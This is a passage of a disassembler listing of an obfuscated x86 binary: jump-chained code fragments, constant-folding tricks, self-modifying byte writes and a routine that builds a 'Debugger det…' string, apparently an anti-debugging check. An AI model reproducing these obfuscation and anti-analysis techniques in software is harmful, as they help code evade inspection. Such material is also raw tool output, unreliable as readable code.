0042EEC6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043004B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00431CDC SIZE 00000005 BYTES enter 0FFFFF787h, 5Ah loope loc_43004B mov ebp, 0C3000026h ; CODE XREF: fzj3qwht:loc_4318F3j add [edi+565B241Ch], al push 80912A91h pop esi or esi, 3FEFB36Fh jmp loc_431CDC sub_43005C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 2347880Fh, 0CDC10000h, 9C1C10Dh, 0FFE88DE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_430092: ; DATA XREF: fzj3qwht:loc_42FEE0o push ecx push 549F42E7h pop esi sub esi, 0CDB8736Dh test esi, 10h jmp loc_431B81 ; --------------------------------------------------------------------------- align 4 dd 7A8840Fh, 0CAE80000h, 14h, 31870F00h, 0E9000028h, 558h dd 0B993C381h, 8CE9F1D3h, 12h db 0 ; --------------------------------------------------------------------------- loc_4300D1: ; CODE XREF: fzj3qwht:0043133Bj or eax, 9C3DC8D9h xor eax, 3BB45026h add eax, ebp add eax, 7B366111h mov eax, [eax] mov cl, 54h add eax, 0F8458BE0h mov ecx, 0Ah jmp loc_43018B ; --------------------------------------------------------------------------- dd 58D0000h, 4322E8h, 42F50F68h, 470E900h, 0 dd 75E9C23Bh, 0FFFFEDh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 87h dd 0B5E90055h, 14h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430121: ; CODE XREF: sub_42F4AE+32C2j push offset loc_4325F3 jmp nullsub_151 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- locret_43012D: ; CODE XREF: fzj3qwht:0042EFFCj retn ; --------------------------------------------------------------------------- align 10h loc_430130: ; CODE XREF: fzj3qwht:0042F3C6j jbe loc_42FE43 cdq jmp near ptr dword_42EB78+78h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430C13 loc_43013E: ; CODE XREF: sub_430C13:loc_431C41j call sub_430E46 loc_430143: ; DATA XREF: fzj3qwht:00430842o mov edx, [eax] push ebx push 4C281044h pop ebx or ebx, 0F0022C0Ch push offset loc_430A2B jmp nullsub_160 ; END OF FUNCTION CHUNK FOR sub_430C13 ; --------------------------------------------------------------------------- dd 0EBE95B00h, 0Fh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4309EE loc_430165: ; CODE XREF: sub_4309EE+Cj xchg eax, [esp+0] mov edx, offset byte_432013 jmp near ptr dword_42E8AC+32h ; END OF FUNCTION CHUNK FOR sub_4309EE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_430173: ; CODE XREF: fzj3qwht:loc_4313EBj pushf jmp loc_43140E ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh dd 58880F11h, 0E9000012h, 0FFFFE655h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43018A: ; DATA XREF: sub_4301B7:loc_42FA8Fo popf loc_43018B: ; CODE XREF: fzj3qwht:004300F3j cdq push offset byte_432693 jmp locret_42FE41 ; --------------------------------------------------------------------------- align 4 loc_430198: ; CODE XREF: fzj3qwht:loc_4326D5j call sub_430011 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF04 loc_43019F: ; CODE XREF: sub_42FF04+Cj jmp near ptr dword_42EDF4+15h ; END OF FUNCTION CHUNK FOR sub_42FF04 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h dd 0FFFFE6C0h ; =============== S U B R O U T I N E ======================================= sub_4301AC proc near ; DATA XREF: fzj3qwht:0042EDBFo ; FUNCTION CHUNK AT 0042FC85 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00430C2F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043138D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004315EA SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00431604 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431CC5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00431D68 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00431DA4 SIZE 0000002A BYTES push ebx mov ebx, offset byte_4308B9 jmp loc_431D68 sub_4301AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4301B7 proc near ; DATA XREF: sub_42F4AE+116o ; FUNCTION CHUNK AT 0042EA10 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042ED0A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042FA8F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FC14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00430EA7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043164B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004324AA SIZE 00000005 BYTES add eax, 8C484A52h adc [eax], eax loc_4301BF: ; DATA XREF: fzj3qwht:0042EE31o nop push 0FAE3D3F1h pop ecx and ecx, 66372017h xor ecx, 8104DBC0h jmp loc_4324AA sub_4301B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 xchg edi, [esp] pop edi push 8A6E7AD1h pop eax add eax, 532825A8h call sub_430A5C loc_4301ED: ; CODE XREF: fzj3qwht:loc_431635j mov byte ptr [edx], 8Ah pop edx push 0C0640AD8h pop eax or eax, 0B2196807h jmp loc_430A7B ; --------------------------------------------------------------------------- dw 487h dd 240C8724h, 8159C18Bh, 0E21961C0h, 0E9C50365h, 0FFFFF17Dh ; =============== S U B R O U T I N E ======================================= sub_430218 proc near ; CODE XREF: sub_43098E:loc_42FFB2p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004305FD SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ebx, [esp-4+arg_0] mov edx, ebx pop ebx mov dword ptr [ebp-81h], 75626544h mov dword ptr [ebp-7Dh], 72656767h mov dword ptr [ebp-79h], 74656420h jmp loc_4305FD sub_430218 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 0E9007D8Bh, 0FFFFEE2Ch ; --------------------------------------------------------------------------- loc_430248: ; CODE XREF: fzj3qwht:00431ECCj push offset sub_43193B jmp near ptr loc_431976+1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 dword_430254 dd 0FFE5B0E9h ; CODE XREF: fzj3qwht:00431ACEj ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43025A: ; CODE XREF: fzj3qwht:0042FA67j jmp loc_4311A6 ; --------------------------------------------------------------------------- align 10h jno loc_42E8EE pop eax jmp sub_431686 ; --------------------------------------------------------------------------- dd 8D0F0000h, 0D0Ah ; --------------------------------------------------------------------------- loc_430274: ; CODE XREF: fzj3qwht:loc_430043p xchg eax, [esp] pop eax mov byte ptr [eax], 87h pop eax call sub_4313F1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF210h, 0ECFDE900h, 9C00FFFFh, 74454E68h, 0C0815816h dd 105B4972h, 0B710F081h, 0E957330Ch, 0FFFFEB23h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4312D7 loc_4302A9: ; CODE XREF: sub_4312D7:loc_42F7B5j pop edi sub eax, 698147CDh and eax, 0E353CA1h xor eax, 0E188CF2Dh jmp loc_431B2E ; END OF FUNCTION CHUNK FOR sub_4312D7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4302C3: ; CODE XREF: fzj3qwht:0042FC64j mov eax, edx xchg eax, [esp] push ecx pop edx xchg edx, [esp] push esi jmp loc_432601 ; --------------------------------------------------------------------------- align 4 dd 9D685300h, 0E900430Fh, 21FDh db 0 ; --------------------------------------------------------------------------- loc_4302E1: ; CODE XREF: fzj3qwht:loc_432833j mov byte ptr [esi], 0C3h pop esi push offset loc_432196 jmp near ptr byte_42F6BD+2 ; --------------------------------------------------------------------------- push ecx pushf jmp sub_42F188 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_4316FE loc_4302F8: ; CODE XREF: sub_4316FE+10j mov byte ptr [esi], 0FFh pop esi popf xchg edx, [esp-4+arg_0] jmp loc_431965 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430307: ; CODE XREF: fzj3qwht:0042FB8Fj xchg ecx, [esp] pop ecx push ecx mov ecx, esi jmp loc_4319D8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_430315 proc near ; CODE XREF: fzj3qwht:0042EA2Cj ; sub_4301AC:loc_431D68p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov byte ptr [ebx], 8Dh xchg eax, [esp-4+arg_0] jmp loc_42F05F sub_430315 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FF9E800h, 0E9000000h, 0A39h, 0ED15E900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_430338: ; CODE XREF: sub_431452-EA5j jge loc_4325F3 jnp loc_42FCE9 add edx, 0A12DD8FBh and eax, 0EDF45F2Fh push offset loc_432322 jmp nullsub_131 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dw 6800h ; --------------------------------------------------------------------------- mov ss, word ptr [edi] inc ebx add cl, ch nop idiv bh loc_430364: ; DATA XREF: fzj3qwht:loc_42F2E4o inc dword ptr [edi-2DF6DBFCh] jz loc_4311F5 push edx push 0DFA610CAh pop edx jmp loc_43108F ; --------------------------------------------------------------------------- dd 0AABA0000h, 0E90042FFh, 0FFFFFC3Eh ; CODE XREF: fzj3qwht:loc_432061j ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43038B: ; CODE XREF: fzj3qwht:0042FDC1j jmp loc_430E18 ; --------------------------------------------------------------------------- dd 7B680000h, 878B6225h, 0D78B243Ch, 179DE9h, 0C3000000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_4303A4: ; CODE XREF: sub_42FA52+2680j mov byte ptr [eax], 87h pop eax and ebx, 1F990EC4h add ebx, 0E3AAFFBEh jmp loc_43273D ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_4303B9: ; CODE XREF: sub_430F48:loc_4327D8j mov byte ptr [edi], 0C3h xchg esi, [esp+0] mov edi, esi pop esi push edi jmp loc_43167B ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- call sub_431F1F add [ebx], cl std mov edx, 3B8BEC23h jmp sub_4312D7 ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- add ecx, [ebx+1A68535Bh] jns short loc_430427 db 67h pop ebx jmp loc_431C2C ; --------------------------------------------------------------------------- align 4 loc_4303EC: ; DATA XREF: sub_42F4AE:loc_4325E1o mov byte ptr [ebx], 9Ch pop ebx rol eax, 2 or eax, 114A16D6h push ecx push 34BF00EFh jmp loc_42ED4C ; --------------------------------------------------------------------------- db 0 byte_430405 db 57h, 68h, 0BAh ; DATA XREF: sub_431452+35o dd 87D180A7h, 0FE8B2434h, 8CEF815Eh, 0E988D0A6h, 0FFFFF4FCh db 0 ; =============== S U B R O U T I N E ======================================= sub_43041D proc near ; CODE XREF: fzj3qwht:004316AEp ; FUNCTION CHUNK AT 0042F32C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042F706 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F88A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F922 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004304E8 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043083D SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push ebx push 1E1EC43Bh loc_430427: ; CODE XREF: fzj3qwht:004303E2j pop ebx jmp loc_42F922 sub_43041D endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43042F: ; CODE XREF: sub_42F4AE+93j mov byte ptr [esi], 0Fh pop esi add edx, eax rol edx, 3 xor edx, eax jmp loc_43045A ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- jmp loc_432251 ; --------------------------------------------------------------------------- dw 8700h dd 1AD1E9C7h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F1F loc_430450: ; CODE XREF: sub_431F1F:loc_43080Bj push offset dword_430790 jmp nullsub_159 ; END OF FUNCTION CHUNK FOR sub_431F1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43045A: ; CODE XREF: sub_42F4AE+F8Cj push offset loc_42F14F jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 0CD030000h, 825FC181h, 189AA43h, 0F045F459h, 1BE2E9h db 3 dup(0) byte_43047B db 81h ; DATA XREF: sub_431AED-2C9Ao dd 734A9C0h, 1B3BE802h, 0E9000000h, 0FFFFED4Dh, 3537D381h dd 85E93DA8h db 10h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_430497 proc near ; CODE XREF: fzj3qwht:00431A82p xchg edi, [esp+0] pop edi xor edx, 0E4959E5Ch add edx, ebp push esi push 0D5AABFF9h pop esi jmp near ptr loc_430BD0+1 sub_430497 endp ; --------------------------------------------------------------------------- align 10h dd 4FFC6800h, 8158D254h, 0E1F098E0h, 2E6850B5h, 5888F8C0h dd 0F844E881h, 9DE92CF7h, 0FFFFE4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFCF loc_4304D0: ; CODE XREF: sub_42EFCF+1514j ; sub_42EFCF+17B4j mov byte ptr [esi], 0FFh call sub_42F8A9 loc_4304D8: ; CODE XREF: sub_42FC3B+Dp add [edi+0C872414h], al and al, 8Bh rcr dword ptr [ecx-17h], 1 jle short loc_4304D0 ; END OF FUNCTION CHUNK FOR sub_42EFCF ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_4304E8: ; CODE XREF: sub_43041D:loc_42F922j sub ebx, 76D13B0h and ebx, 0B208DA5Eh sub ebx, 0A57C4284h and ebx, 50F69E62h xor ebx, 5CC2470Dh jmp loc_42F88A ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- align 4 locret_43050C: ; CODE XREF: fzj3qwht:loc_430AB0j retn ; --------------------------------------------------------------------------- loc_43050D: ; CODE XREF: fzj3qwht:00430D94j jmp loc_4316D6 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43098E loc_430513: ; CODE XREF: sub_43098E+20j jmp loc_42FFB2 ; END OF FUNCTION CHUNK FOR sub_43098E ; --------------------------------------------------------------------------- dd 0DE5E900h, 0F000000h, 14F78Ch, 0E9EDD100h, 0FFFFEAC2h db 2 dup(0), 99h ; =============== S U B R O U T I N E ======================================= sub_43052F proc near ; CODE XREF: sub_431F5F:loc_431971p ; FUNCTION CHUNK AT 0043058C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004308D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431D1A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00431E31 SIZE 0000002A BYTES xchg eax, [esp+0] pop eax mov edx, [eax] or edx, edx jmp loc_431E31 sub_43052F endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FA810000h, 9B51C065h, 43DE9h, 0C8C10000h db 0Ch byte_43054D db 87h ; DATA XREF: fzj3qwht:0042E848w dw 2434h byte_430550 db 5Eh ; DATA XREF: fzj3qwht:0042E84Fw byte_430551 db 0Fh ; DATA XREF: fzj3qwht:0042E856w dw 4584h dd 52000001h, 52E9D38Bh, 0Fh, 241CF900h, 0FFF75FE9h, 0B56800FFh dd 68E4C0E9h, 42ED75h, 308E9h, 0C30000h, 0E95F2E87h, 0BE3h dd 36E9EF33h, 1Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_43058C: ; CODE XREF: sub_43052F+1927j add eax, 481A04D3h jmp loc_4308D6 ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431452 loc_430598: ; CODE XREF: sub_431452:loc_42EF52j call sub_431C52 add [edi], cl test [esi+0FFFFFDh], ah xchg ebx, ebp and edx, 3E5C0832h jmp loc_430338 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dw 8100h dd 0F3D438C9h, 2404874Ah, 302C658h, 0E9241C87h, 0FFFFF872h dd 0C35D59h, 1CC5E900h, 51000000h, 0C875955h, 0B12E924h dd 81000000h, 7CF099E0h, 37F08167h, 81B4F1AAh, 0C1D9A4C0h dd 0E8C5037Eh, 220Ch, 2376E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430218 loc_4305FD: ; CODE XREF: sub_430218+22j jmp near ptr dword_42E9A4+51h ; END OF FUNCTION CHUNK FOR sub_430218 ; --------------------------------------------------------------------------- dw 8B00h dd 0F9D4E9CDh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_43060A proc near ; CODE XREF: fzj3qwht:loc_42F912p xchg esi, [esp+0] pop esi mov byte ptr [ebx], 3 pop ebx push offset loc_43002C jmp nullsub_138 sub_43060A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FE188A0Fh, 0E98BFFFFh, 0C5E85A9Ch db 3 dup(0) ; --------------------------------------------------------------------------- loc_43062B: ; CODE XREF: fzj3qwht:0042F1F1j jmp loc_42ED28 ; --------------------------------------------------------------------------- dd 0C28B5000h, 0BA240487h, 4318ECh, 0FFFC48E9h, 0F0000FFh dd 0FFFD0188h, 3C1C1FFh, 800C1F7h, 0F3E90000h, 8100001Dh dd 0F8D268C0h, 2F689DFFh, 0E9004328h, 21C4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430669: ; CODE XREF: sub_42F4AE+3Aj jz near ptr loc_43287D+1 xchg edx, [esp-0Ch+arg_8] pop edx add edx, 0FB569FBFh mov edx, [edx] popf push edx jmp loc_43243C ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dw 0C768h dd 0E9004309h, 0FFFFF304h, 0C300h, 0A92C081h, 36E962EFh dd 16h, 1202E8h, 240C8700h, 8B243487h, 10685ECEh, 0E9000020h dd 0FFFFE2D1h ; --------------------------------------------------------------------------- loc_4306B4: ; CODE XREF: fzj3qwht:00432566j mov byte ptr [ebx], 0FFh pop ebx mov [edx], al dec dword ptr [ebp-10h] xchg eax, ecx inc ebp cld jmp loc_432501 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4306C7: ; CODE XREF: fzj3qwht:0042F892j popf xor edx, 41E859D5h loc_4306CE: ; CODE XREF: fzj3qwht:loc_42F883j add esi, 93AF46DDh rol esi, 19h jmp near ptr dword_42EB78+0C2h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4306DE: ; CODE XREF: fzj3qwht:loc_431F0Aj and esi, 0EAFE27D3h push offset word_43211E jmp locret_431202 ; --------------------------------------------------------------------------- align 10h loc_4306F0: ; CODE XREF: fzj3qwht:004326E4j xchg esi, [esp] pop esi push ebp mov ebp, edx push offset dword_430800 jmp loc_4318F3 ; --------------------------------------------------------------------------- align 2 dw 5D68h dd 0E90042E9h, 0FFFFE250h, 2012E8h, 97E90000h, 0 ; --------------------------------------------------------------------------- pop ecx xor ecx, 2B1E8752h sub ecx, 9E5F65DAh rol ecx, 1Bh add ecx, 0B1917298h add eax, ecx push esi jmp loc_4309D2 ; --------------------------------------------------------------------------- dw 2300h dd 0FE0CE9DEh, 8100FFFFh, 58E01FE1h, 0DE981B4h, 8130078Dh dd 0DA1C4EC9h, 0B4850FDCh, 0FFFFF0h ; --------------------------------------------------------------------------- loc_430758: ; CODE XREF: fzj3qwht:0042FD61j jmp loc_431EC6 ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFCF loc_430761: ; CODE XREF: sub_42EFCF+Aj jmp loc_43077E ; END OF FUNCTION CHUNK FOR sub_42EFCF ; --------------------------------------------------------------------------- dw 1487h ; --------------------------------------------------------------------------- and al, 8Bh retf 7C68h ; --------------------------------------------------------------------------- db 23h, 43h, 0 dd 0FFF162E9h, 0E98500FFh, 2122E9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFCF loc_43077E: ; CODE XREF: sub_42EFCF:loc_430761j mov esi, offset loc_431A96 jmp loc_4304D0 ; END OF FUNCTION CHUNK FOR sub_42EFCF ; --------------------------------------------------------------------------- locret_430788: ; CODE XREF: fzj3qwht:004321FFj retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFFE0Eh dword_430790 dd 5E8906C6h, 903AF781h, 0FD0304A2h, 0FFE03CE8h ; DATA XREF: sub_431F1F:loc_430450o db 0FFh ; --------------------------------------------------------------------------- loc_4307A1: ; CODE XREF: fzj3qwht:00430B94p xchg esi, [esp] pop esi xchg eax, [esp] call near ptr byte_42FE51+2 add [eax+44h], ch pop ss inc ebx add cl, ch aas push es ; --------------------------------------------------------------------------- dw 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FC3B loc_4307B9: ; CODE XREF: sub_42FC3B+15j xchg edi, [esp-4+arg_0] pop edi mov [esi], eax xchg eax, [esp-8+arg_4] mov esi, eax pop eax popf mov eax, [ebp-0Ch] jmp loc_430878 ; END OF FUNCTION CHUNK FOR sub_42FC3B ; --------------------------------------------------------------------------- align 10h loc_4307D0: ; CODE XREF: fzj3qwht:loc_431A25j mov byte ptr [edx], 3 pop edx push 0A02301E8h pop eax add eax, 0ECD0754h xor eax, 72FFB596h and eax, 0E29B1602h sub eax, 4EFECD96h jmp loc_42EE5E ; --------------------------------------------------------------------------- align 4 dd 0E9CE1300h, 0FFFFF4D3h dword_430800 dd 51242C87h, 94BE8h ; DATA XREF: fzj3qwht:004306F7o db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F1F loc_43080B: ; CODE XREF: sub_431F1F+12j jmp loc_430450 ; END OF FUNCTION CHUNK FOR sub_431F1F ; --------------------------------------------------------------------------- locret_430810: ; CODE XREF: fzj3qwht:00430CF7j retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFEECEh, 0EB8AE900h, 3487FFFFh, 738E824h, 0 ; --------------------------------------------------------------------------- loc_430828: ; CODE XREF: fzj3qwht:loc_4328E4j add eax, 7F5B23DAh loc_43082E: ; DATA XREF: sub_42FA52+267Bo xchg eax, [esp] retn ; --------------------------------------------------------------------------- jmp loc_4312C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_430837: ; CODE XREF: sub_431167+10j jmp loc_430E53 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_43083D: ; CODE XREF: sub_43041D-10E9j jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- push offset loc_430143 jmp locret_42FB1E ; --------------------------------------------------------------------------- mov edi, [edi] popf xchg edi, [esp] call eax jmp loc_4316B5 ; --------------------------------------------------------------------------- align 2 dw 8B52h dd 241487D5h, 0BFE9EC8Bh, 0FFFFF6h, 0E9E91B00h, 0E52h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] db 3Bh, 0F8h, 0E9h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FC3B loc_430878: ; CODE XREF: sub_42FC3B+B8Ej mov esp, ebp xchg edi, [esp-10h+arg_C] mov ebp, edi pop edi retn ; END OF FUNCTION CHUNK FOR sub_42FC3B ; --------------------------------------------------------------------------- jmp locret_431358 ; --------------------------------------------------------------------------- align 4 dd 43251C68h, 0FA9FE900h, 8700FFFFh, 1487240Ch, 5ACA8B24h dd 58CAC081h, 0C684AD4h, 0E90042F3h, 0FFFFE6E4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F04D loc_4308AD: ; CODE XREF: sub_42F04D:loc_42F05Fj mov ebx, eax pop eax xchg edx, [esp-8+arg_4] jmp nullsub_139 ; END OF FUNCTION CHUNK FOR sub_42F04D ; --------------------------------------------------------------------------- db 0 byte_4308B9 db 46h, 5, 9Dh ; DATA XREF: sub_4301AC+1o dd 0F004321h, 0FFF27A81h, 636851FFh, 59F8CDEAh, 0FFFC48E9h db 0FFh, 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_4308D6: ; CODE XREF: sub_43052F+63j jmp near ptr loc_42E94A+1 ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- align 4 dword_4308DC dd 0A68A6857h, 815F43D5h, 0BB295ACFh, 0EEEF8175h, 0E97D59ABh ; DATA XREF: fzj3qwht:loc_4313A4o dd 0FFFFE3F8h, 3C870000h, 0EEA46824h, 0C5E90042h, 12h dd 5F595700h, 0FFF9FAE8h, 0E90000FFh, 0C5Ah db 2 dup(0), 5Eh ; =============== S U B R O U T I N E ======================================= sub_430917 proc near ; CODE XREF: sub_43052F+17F1p ; FUNCTION CHUNK AT 00432020 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004325CD SIZE 00000013 BYTES xchg ebx, [esp+0] pop ebx push edx mov edx, offset nullsub_145 jmp loc_4325CD sub_430917 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 dd 72CB8100h, 0E9D35C8Fh, 0FFFFF11Eh db 0 ; --------------------------------------------------------------------------- loc_430935: ; CODE XREF: fzj3qwht:loc_431D4Ej and ecx, 1B0B4F78h or ecx, 6F446674h and ecx, 0B2A390A5h add ecx, 0BB006063h jmp loc_42F969 ; --------------------------------------------------------------------------- dw 0C0F7h dd 400h, 0FFFE2EE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_43095D: ; CODE XREF: sub_431686-17BCj add esi, 1053F6C4h jmp loc_42F3B0 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- dd 1C870000h, 24348724h, 0E95EDE8Bh, 490h, 68B0000h, 0E915C0C1h dd 0F5Eh db 0 ; --------------------------------------------------------------------------- locret_430985: ; CODE XREF: fzj3qwht:00431B87j retn ; --------------------------------------------------------------------------- dw 8B0Fh dd 0FFFFEC49h ; --------------------------------------------------------------------------- not esi ; =============== S U B R O U T I N E ======================================= sub_43098E proc near ; CODE XREF: sub_42F4AE+AAp ; FUNCTION CHUNK AT 0042FFB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430513 SIZE 00000005 BYTES xchg edi, [esp+0] call sub_431F5F add cl, ch mov ecx, 0FFFFEEh loc_43099D: ; CODE XREF: sub_43193B+6p xchg edx, [esp+0] xchg ecx, [esp+0] mov edx, ecx pop ecx add edx, 0D5527689h mov [edx], eax jmp loc_430513 sub_43098E endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0A695F781h, 0C7E83189h, 13h, 24E9F985h, 0C600000Ah dd 52598701h, 0FFF42AE8h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_4309D2: ; CODE XREF: fzj3qwht:00430731j jmp loc_43119C ; --------------------------------------------------------------------------- pop eax jmp sub_431F5F ; --------------------------------------------------------------------------- popf jmp sub_42F04D ; --------------------------------------------------------------------------- align 4 dd 0E9D02B00h, 0FFFFEEB7h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4309EE proc near ; CODE XREF: sub_42F4AE+E4j ; FUNCTION CHUNK AT 00430165 SIZE 0000000D BYTES xchg edx, [esp+0] pop edx call sub_42FCC8 push eax mov eax, edx jmp loc_430165 sub_4309EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 24148700h, 64C3685Ah, 3C87FAC8h, 313E924h, 0D3870000h dd 1DC5E9h, 87000000h, 0F204E9EBh db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND] align 4 loc_430A24: ; CODE XREF: fzj3qwht:0042F016j jmp near ptr dword_42EA44+22h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430A2B: ; 